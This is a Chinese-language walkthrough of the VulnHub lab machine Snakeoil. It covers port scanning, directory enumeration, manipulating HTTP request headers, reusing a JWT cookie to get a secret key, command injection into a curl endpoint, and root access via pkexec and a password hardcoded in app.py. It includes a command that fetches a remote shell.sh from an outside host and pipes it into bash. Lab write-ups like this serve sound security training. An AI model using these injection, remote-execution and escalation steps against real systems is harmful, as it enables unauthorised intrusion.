靶机下载地址: https://www.vulnhub.com/entry/digitalworldlocal-snakeoil,738/
教程链接地址: https://www.cnblogs.com/sainet/p/15688964.html
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 SNAKEOIL:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址
sudo arp-scan -l

-> 靶机 ip:192.168.31.143
2 )确认靶机 ip 开放的端口信息
sudo nmap -p- 192.168.31.143

-> 靶机开放端口 22,80,8080
# 网站信息收集
打开 http://192.168.31.102 进行信息收集

dirsearch -u http://192.168.31.143

-> 80 端口没有任何发现
打开 http://192.168.31.143:8080/ 进行信息收集

dirsearch -u http://192.168.31.143:8080/

-> 8080 端口存在以下目录
http://192.168.31.143:8080/login
http://192.168.31.143:8080/registration
http://192.168.31.143:8080/secret
http://192.168.31.143:8080/test
http://192.168.31.143:8080/users
# BURP 篡改数据包
查看目录: http://192.168.31.143:8080/login

提示请求方法错了,抓包看下数据包:

提示提交方法有问题,换其他的提交方法

提示 username 字段不能为空,那就加上 username 字段

-> 提示内容不理解,换其他目录查看
查看目录:http://192.168.31.143:8080/registration

提示请求方法错了,抓包看下数据包:

提示提交方法有问题,换其他的提交方法

提示 username 字段不能为空,那就加上 username 字段

-> 没啥效果,去访问其他页面看看 http://192.168.31.143:8080/users

-> 猜测确实需要 username 和 password 两个字段
# Content-Type 字段利用
仔细观察数据包,发现缺少 Content-type 字段:
application/x-www-form-urlencoded: 窗体数据被编码为名称 / 值对。这是标准的编码格式。
multipart/form-data: 窗体数据被编码为一条消息,页上的每个控件对应消息中的一个部分。
text/plain: 窗体数据以纯文本形式进行编码,其中不含任何控件或格式字符。
访问目录:http://192.168.31.143:8080/registration
添加字段:Content-Type:application/x-www-form-urlencoded

提示变了,password 字段不能为空,再加上 password 字段:

注册成功,那就在 /login 页面登陆一下,要加上用户名和密码:

再访问一些别的页面(现在是在登陆状态中):

-> 没啥新发现
# 扩大信息面
用更大的字典又扫了一遍目录,发现两个新目录
http://192.168.31.143:8080/create
http://192.168.31.143:8080/run

查看目录:http://192.168.31.143:8080/run

提示需要修改请求方法,抓取数据包

修改提交方法为 POST

提示要以 url:port 形式提供要请求的 URL:

格式换成 Content-Type: application/json, 在 ajax 中,如果没加 contentType:“application/json”,那么 data 就对应的是 json 对象;反之,如果加了 contentType:“application/json”,那么 ajax 发送的就是字符串。

-> 现在又提示需要 secret key ,
# 伪造 access_token
访问一下 /secret 页面:

登录是失败的,应该是缺少 cookie 的,之前注册成功后,登陆时返回一个 token 值:
“access_token”:“ eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY1MjY4NTY1MCwianRpIjoiODhkNDllNzktNjRlNC00ZWZlLWIyZTItODhlOWJhN2NmNWQ2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QiLCJuYmYiOjE2NTI2ODU2NTAsImV4cCI6MTY1MjY4NjU1MH0.kwHX8k6JDWCCjoAHtReOPOe3H7CSshM5oXZYl2XpSDo”
但是填写 cookie 时是需要一个 key 值的,这个 key 值在尝试 access_token 时是不对的
翻阅网站,找到以下地址中网站中有个链接

点进去看看,有一些配置信息链接,从中找到了 cookie 的名称

再次提交 cookie,字段名字为 access_token_cookie:

-> 得到 “secret_key”: “commandexecutionissecret”
1 | 重新梳理一下思路: |
# CURL RCE 命令执行
访问 run 界面,加上 secret_key 字段

返回了比较奇怪的字符串,直接搜索,发现这是 curl 命令执行后的回显

相当于在 curl 后拼接命令,但是管道符号不起作用

后面在加一个分号时成功得到了 whoami 信息,是 RCE 漏洞

尝试往其中写入 shell: curl http://www.chentuo.asia/shell.sh | bash;

尝试:`curl http://www.chentuo.asia/shell.sh | sh;``

-> 登陆成功,拿到了 patrick 的权限

# pkexec 提权
服务器存在 s 权限的 pkexec,并且有 gcc 编译器

-> 通过 pkexec 进行提权,成功拿到了 root 权限

# 配置文件泄露
看看有没有其他的提权方式,shutdown 可以无密码使用但没法提权
调用 root 权限的时候是需要 patrick 的密码的,但是我们没密码

找找系统中的文件,看有没有线索,最后在~/flask_blog/app.py 文件中找到一个密码:NOreasonableDOUBTthisPASSWORDisGOOD
sudo su 使用此密码通过 patrick 来提到 root

-> 提权成功,拿到了 root 权限